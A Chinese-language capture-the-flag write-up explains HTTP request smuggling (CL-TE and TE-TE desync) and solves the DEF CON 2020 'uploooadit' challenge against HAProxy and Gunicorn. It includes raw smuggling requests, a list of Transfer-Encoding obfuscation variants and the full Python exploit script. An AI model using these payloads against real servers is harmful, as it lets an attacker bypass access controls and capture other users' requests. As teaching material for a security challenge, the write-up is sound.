http走私
在http1.1中处理post请求时,除了Content-Length
请求头外,还有一个Transfer-Encoding
请求头,简称为CL和TE,而TE有几种选项:chunked/compress/deflate/gzip/identity
设置了 Transfer-Encoding: chunked 后,请求主体按一系列块的形式发送,并将省略 Content-Length。在每个块的开头需要用十六进制数指明当前块的长度,数值后接 \r\n(占 2 字节),然后是块的内容,再接 \r\n 表示此块结束。最后用长度为 0 的块表示终止块。终止块后是一个 trailer,由 0 或多个实体头组成,可以用来存放对数据的数字签名等。
那么如果前端和后端对CL、TE处理的优先级不同,可能将导致http走私
以CL-TE为例,假设请求如下
POST / HTTP/1.1
Host: xxx
Content-Length: 41
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: 127.0.0.1
前端使用CL将下面的数据都当作POST请求传给后端:
0
GET /admin HTTP/1.1
Host: 127.0.0.1
而后端认为TE优先级较高,所以遇到Transfer-Encoding: chunked自动忽略了Content-Length,并开始读取内容,直到遇到0\r\n\r\n
停止,那么后面的GET请求便会被放入缓存区
GET /admin HTTP/1.1
Host: 127.0.0.1
再一次发送一个请求便会被拼接到一起,那么这个GET即被走私
GET /admin HTTP/1.1
Host: 127.0.0.1
POST / HTTP/1.1
https://xz.aliyun.com/t/7501#toc-5
TE-CL与CL-TE类似,下面结合一道题说一下TE-TE
dc题目
https://uploooadit.oooverflow.io/
先看app.py的路由
/files/[POST]判断Content-Type是否为text/plain,然后提取X-guid头信息,并将其存入aws
/files/<guid>[GET]也就是将上一步存入的信息读出来
并且guid需要符合这个正则
POST /files/
GET /files/<guid>
可以看到后端server是gunicorn20.0.0,如果直接访问不存在的guid他将返回给我们当前的前端server为haproxy1.9.10
跟进这篇文章:https://nathandavison.com/blog/haproxy-http-request-smuggling
可以知道haproxy和gunicorn20.0.0错误结合使用会导致http走私
跟进下图可知haproxy是优先支持TE的
那么如果我们在chunked前面加上一些字符,就可以导致haproxy不能正确识别,\x0b是垂直换行符,然后将整个数据发给后端,后端如果设法去解析TE的话就可能产生TE-TE的走私
这里除了\x0b,以下情况也可以尝试:
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
GET / HTTP/1.1
Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
The Desync can only help us in poisoning the sockets of the backend server, But if we assume that there can be a Bot that is hitting the backend server in intervals with the flag in it’s HTTP request, then the whole scenario starts making sense.
Desync只能帮助我们中毒后端服务器的套接字,但是,如果我们假设可能有一个Bot在HTTP请求中带有标记的间隔内命中后端服务器,那么整个情况就变得有意义了。
那么如果我们构造一个以下类似请求:
POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
Content-Length: 175
Content-type: text/plain
Connection: keep-alive
X-guid: 00000000-0000-0666-1234-0000ffa20000
Transfer-Encoding:[\x0b]chunked #这里\x0b尚未解析
0
POST /files/ HTTP/1.1
Host: uploooadit.oooverflow.io
Connection: close
x-guid: 00000000-0000-0666-1234-0000ffa20000
Content-Type: text/plain
Content-Length: 387
A
如果此时有一个bot向服务器提交flag信息,那么就会被拼接到我们的第二个请求中,然后一并写入guid
然后我测的时候却总不能得到flag,反而偶然抓到了别人的请求?
感觉可能是\x0b编码问题,所以还是用python发请求吧,附上官方exp:
#!/usr/bin/env python3
import socket
import ssl
import sys
import uuid
import requests
CLTE_TEMPLATE = """GET / HTTP/1.1
Host: {hostname}
User-Agent: attacker
Content-Length: {length}
Transfer-Encoding:\x0bchunked
0
"""
GUID = str(uuid.uuid4())
def request(content, hostname, port):
print(content)
print()
def issue_request(server):
assert server.send(content) == len(content)
data = server.recv(1024)
while len(data) > 0:
print(data.decode("utf-8"))
data = server.recv(1024)
with socket.create_connection((hostname, port)) as raw_socket:
if port == 443:
context = ssl.create_default_context()
with context.wrap_socket(raw_socket, server_hostname=hostname) as server:
issue_request(server)
else:
issue_request(raw_socket)
try:
raw_socket.shutdown(socket.SHUT_RDWR)
except:
pass
def clte(payload, hostname):
offset = 5 + payload.count("\n")
return (
(CLTE_TEMPLATE.format(hostname=hostname, length=len(payload) + offset) + payload)
.replace("\n", "\r\n")
.encode("utf-8")
)
def main():
if len(sys.argv) == 2 and sys.argv[1] == "--local":
hostname = "localhost"
port = 8080
url = f"http://localhost:8080/files/{GUID}"
else:
hostname = "uploooadit.oooverflow.io"
port = 443
url = f"https://uploooadit.oooverflow.io/files/{GUID}"
payload = f"""POST /files/ HTTP/1.1
Connection: close
Content-Length: 385
Content-Type: text/plain
User-Agent: hacked
X-guid: {GUID}
"""
request(clte(payload, hostname), hostname, port)
response = requests.get(url)
print(response.content.decode("utf-8"))
if __name__ == "__main__":
sys.exit(main())
把请求拿下来看看:
b'GET / HTTP/1.1\r\nHost: uploooadit.oooverflow.io\r\nUser-Agent: attacker\r\nContent-Length: 162\r\nTransfer-Encoding:\x0bchunked\r\n\r\n0\r\n\r\nPOST /files/ HTTP/1.1\r\nConnection: close\r\nContent-Length: 385\r\nContent-Type: text/plain\r\nUser-Agent: hacked\r\nX-guid: a5306687-12f7-4f05-9b72-6461dfd14a95\r\n\r\n'
这里的\x0b就被正常解析成垂直换行了,达到前后不同步
reference:
https://blog.shoebpatel.com/2020/05/18/DefCon-CTF-2020-HTTP-Desync-between-HAProxy-Gunicorn/
https://github.com/o-o-overflow/dc2020q-uploooadit/blob/master/scripts/attack.py#L4
https://ctftime.org/writeup/20655